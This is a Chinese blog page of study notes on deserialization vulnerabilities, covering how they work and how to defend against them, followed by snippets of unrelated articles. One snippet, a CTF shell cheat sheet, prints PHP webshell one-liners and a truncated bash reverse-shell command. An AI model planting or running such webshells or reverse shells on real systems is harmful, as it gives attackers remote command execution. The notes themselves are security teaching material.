当前位置：首页 > article >正文

[Web 安全] 反序列化漏洞 - 学习笔记

article 2026/4/6 17:34:40

关注这个专栏的其他相关笔记：[Web 安全] Web 安全攻防 - 学习手册-CSDN博客

0x01：反序列化漏洞 — 漏洞介绍

反序列化漏洞是一种常见的安全漏洞，主要出现在应用程序将 序列化数据 重新转换为对象（即反序列化）的过程中，在讲解这个漏洞前，我们先了解一下什么是 序列化 & 反序列化：

序列化： 序列化就是将对象的状态信息转换为可以存储或传输的形式的过程。
反序列化： 将序列化后的数据还原为原始对象的过程。

0x0101：反序列化漏洞原理

当程序反序列化不可信的输入数据 时，若未严格校验数据合法性，攻击者就可能构造恶意数据，诱使程序执行非预期操作，例如：

执行任意代码： 反序列化时触发对象中的危险方法（如 Java 的 readObject、PHP 的 __wakeup）
篡改数据逻辑： 修改序列化数据中的关键参数（如用户权限、身份标识）。
拒绝服务攻击： 通过构造畸形数据导致程序崩溃。

0x0102：反序列化漏洞防御措施

避免反序列化不可信数据：优先使用 JSON 等安全格式传输数据。
白名单验证：仅允许反序列化预定义的合法类。
数据签名/加密：验证序列化数据的完整性和来源。
更新依赖库：修复已知漏洞的第三方组件（如Java的Apache Commons Collections）。

0x02：反序列化漏洞 — PHP 反序列化漏洞

0x0201：PHP 反序列化漏洞 — 基础知识

PHP 反序列化漏洞 —— PHP 面向对象基础知识
PHP 反序列化漏洞 —— PHP 序列化 & 反序列化
PHP 反序列化漏洞 —— PHP 反序列化漏洞演示案例

0x0202：PHP 反序列化漏洞 — 挖掘思路

PHP 反序列化漏洞 —— PHP 魔法方法 & POP 链构造思路
PHP 反序列化漏洞 —— WAF 绕过姿势

0x0202：PHP 反序列化漏洞 — 漏洞举例

0x0203：PHP 反序列化漏洞 — 实战笔记

0x03：反序列化漏洞 — Java 反序列化漏洞

0x04：反序列化漏洞 — Python 反序列化漏洞

[Web 安全] 反序列化漏洞 - 学习笔记

关注这个专栏的其他相关笔记：[Web 安全] Web 安全攻防 - 学习手册-CSDN博客 0x01：反序列化漏洞 — 漏洞介绍反序列化漏洞是一种常见的安全漏洞，主要出现在应用程序将序列化数据重新转换为对象（即反序列化）的过程中…...

编程日记 2025/12/28 13:30:50

docker部署minio mkdir -p /minio/datadocker run -d \-p 9000:9000 \-p 9001:9001 \--name minio \-v /minio/data:/data \-e "MINIO_ROOT_USERjbk" \-e "MINIO_ROOT_PASSWORDjbjbjb123" \quay.io/minio/minio server /data --console-address ":90…...

编程日记 2026/4/4 6:59:26

Leetcode2717：半有序排列

题目描述： 给你一个下标从 0 开始、长度为 n 的整数排列 nums 。如果排列的第一个数字等于 1 且最后一个数字等于 n ，则称其为半有序排列。你可以执行多次下述操作，直到将 nums 变成一个半有序排列 ： 选择 nums 中相邻的两…...

编程日记 2025/12/5 2:05:00

redis小记

redis小记下载redis sudo apt-get install redis-server redis基本命令 ubuntu16下的redis没有protected-mode属性，就算sudo启动，也不能往/var/spool/cron/crontabs写计划任务，感觉很安全 #连接到redis redis-cli -h 127.0.0.1 -p 6379 …...

编程日记 2026/4/4 6:57:28

C/C++基础知识复习（47）

1) 接口继承与实现继承的区别接口继承接口继承意味着定义一个类，它只声明一组方法（通常是纯虚函数），但是不提供任何实现。继承这个接口的子类必须实现这些方法。接口继承的主要目的是规范化行为。 C 例子： 在 C 中…...

编程日记 2026/4/5 16:16:34

OkHttp、Retrofit、RxJava：一文讲清楚

一、okHttp的同步和异步请求 Call 是 OkHttp 的核心接口，代表一个已准备好执行的 HTTP 请求。它支持同步和异步两种模式： enqueue——>okHttp异步 OkHttpClient client new OkHttpClient();Request request new Request.Builder().url("…...

编程日记 2025/11/12 9:13:23

netty详细使用

Netty是一个基于Java的高性能网络应用框架，主要用于快速开发高性能的网络通信应用程序。以下是Netty的详细使用步骤： 添加Netty依赖：在项目的pom.xml中添加Netty的依赖项，例如： <dependency><groupId>io…...

编程日记 2026/3/4 4:10:04

计算机视觉(opencv-python)入门之图像的读取,显示,与保存

在计算机视觉领域，Python的cv2库是一个不可或缺的工具，它提供了丰富的图像处理功能。作为OpenCV的Python接口，cv2使得图像处理的实现变得简单而高效。示例图片目录 opencv获取方式图像基本知识颜色空间 RGB HSV CV2常用图像处理方…...

编程日记 2026/4/6 16:38:56

ActiveMQ之VirtualTopic

一句话总结： VirtualTopic是为了解决持久化模式下多消费端同时接收同一条消息的问题。现实中多出现这样一个场景： 生产端产生了一笔订单，作为消息MessageOrder发了出去。这笔订单既要入订单系统归档，又要入结算系统收款&#x…...

编程日记 2026/4/4 6:38:10

第16届蓝桥杯模拟赛3 python组个人题解

第16届蓝桥杯模拟赛3 python组思路和答案不保证正确 1.填空如果一个数 p 是个质数，同时又是整数 a 的约数，则 p 称为 a 的一个质因数。请问， 2024 的最大的质因数是多少？ 因为是填空题，所以直接枚举2023~2 &am…...

编程日记 2025/12/12 4:57:50

UE5 Computer Shader学习笔记

首先这里是绑定.usf文件的路径，并声明是用声明着色器上面就是对应的usf文件路径，在第一张图进行链接 Shader Frequency 的作用 Shader Frequency 是 Unreal Engine 中用于描述着色器类型和其执行阶段的分类。常见的 Shader Frequency 包括&#xff1a…...

编程日记 2026/4/5 11:14:34

2.1部署logstash:9600

实验环境：关闭防火墙，完成java环境 yum -y install wget wget https://d6.injdk.cn/oraclejdk/8/jdk-8u341-linux-x64.rpm yum localinstall jdk-8u341-linux-x64.rpm -y java -version 1.安装logstash tar xf logstash-6.4.1.tar.gz -C /usr/local…...

编程日记 2026/4/4 23:27:53

SQL笔记#集合运算

目录一、表的加减法 1、什么是集合运算 2、表的加法——UNION 3、集合运算的注意事项 4、包含重复行的集合运算——ALL运算 5、选取表中公共部分——INTERSECT 6、记录的减法——EXCEPT 二、联结（以列为单位对表进行联结） 1、什么是联结(JOIN) 2、内联结——INSER…...

编程日记 2026/4/5 3:21:44

多模态人物视频驱动技术回顾与业务应用

一种新的商品表现形态，内容几乎存在于手淘用户动线全流程，例如信息流种草内容、搜索消费决策内容、详情页种草内容等。通过低成本、高时效的AIGC内容生成能力，能够从供给端缓解内容生产成本高的问题，通过源源不断的低成本供给倒推…...

编程日记 2026/4/4 7:13:30

基于Matlab实现汽车远近光灯识别的详细步骤及代码示例

以下是一个基于Matlab实现汽车远近光灯识别的详细步骤及代码示例，主要通过图像处理技术来区分远光灯和近光灯。整体思路图像预处理：包括读取图像、灰度化、去噪等操作，以提高后续处理的准确性。边缘检测：找出图像中的边缘信息…...

编程日记 2025/7/11 9:20:01

多功能免费网络测速及问题诊断工具

软件介绍在日常网络使用中，网络问题常常难以即时察觉，很多时候，只有当视频卡顿、网页加载半天没反应，乃至无法连接部分服务时，我们才惊觉网络出状况了。这里有一款免费工具，专为家庭、办公以及跨国网…...

编程日记 2026/4/4 9:06:07

【算法设计与分析】（一）介绍算法与复杂度分析

【算法设计与分析】（一）介绍算法与复杂度分析前言一、什么是算法？二、算法的抽象机制三、描述算法四、复杂度分析4.1 时间复杂度4.2 空间复杂度前言从搜索引擎的高效检索，到推荐系统的个性化推荐，再到人工智能领域…...

编程日记 2026/4/4 7:08:06

HTML5特殊字符

HTML中常用的特殊符号一般都以“&”开头，以“;”结束。...

编程日记 2026/3/23 1:19:00

使用python接入腾讯云DeepSeek

本文主要从提供SSE方式接入DeepSeek，并通过fastapi websocket对外提供接入方法。参考文档： 腾讯云大模型：https://cloud.tencent.com/document/product/1759/109380 fastAPI官网：https://fastapi.tiangolo.com/ WebSocketManager…...

编程日记 2026/4/4 9:22:39

6.3 - UART串口数据发送之中断

文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务本实验使用中断方式实现UART串口数据的连续发送。 2 系统框图参见6.1。 3 软件设计注意事项： 系统上电、程序下载后，此时TX FIFO虽然为空，但并不会触发空中断；空中断…...

编程日记 2025/9/1 23:30:37

无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。

eplan生成更新列表后报错，报错内容如下： 无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。针对 64 位版本的EPLAN平台需要使用64 位版本的Microsoft Office。原因：eplan的列表更新需要64位的微软办公软件版本支…...

编程日记 2026/4/3 9:22:10

将CUBE或3DL LUT转换为PNG图像

概述在大部分情况下，LUT 文件通常为 CUBE 或 3DL 格式。但是我们在 OpenGL Shader 中使用的LUT，通常是图像格式的 LUT 文件。下面，我将教大家如何将这些文件转换为 PNG 图像格式。条形LUT在线转换（不是8x8网络）&am…...

编程日记 2026/4/3 20:23:11

C语言（13）------------＞do-while循环

1.do-while循环的语法我们知道C语言有三大结构，顺序、选择、循环。我们可以使用while循环、for循环、do-while循环实现循环结构。之前的博客中提及到了前两者的技术实现。可以参考： C语言（11）-------------＞while循…...

编程日记 2026/3/24 17:00:37

FS800DTU联动OneNET平台数据可视化View

目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…...

编程日记 2026/4/2 10:24:03

Linux 第三次脚本作业

源码编译安装httpd 2.4，提供系统服务管理脚本并测试（建议两种方法实现） 一、第一种方法 1、把 httpd-2.4.63.tar.gz 这个安装包上传到你的试验机上 2、安装编译工具 (俺之前已经装好了） 3、解压httpd包 4、解压后的httpd包的文…...

编程日记 2026/4/3 22:06:51

[数据结构笔记]数据结构必要的C语言基础

数据结构必要的C语言基础使用C语言学习数据结构之前有一些必要了解的基础，许多同学在初学数据结构时因为对这些知识不熟，导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言结构体与指针在一些场景中，如果传递给函…...

编程日记 2026/4/2 8:40:38

CTF常用shell语句整理（webshell、反弹shell）

Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行：访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...

编程日记 2026/3/29 15:26:11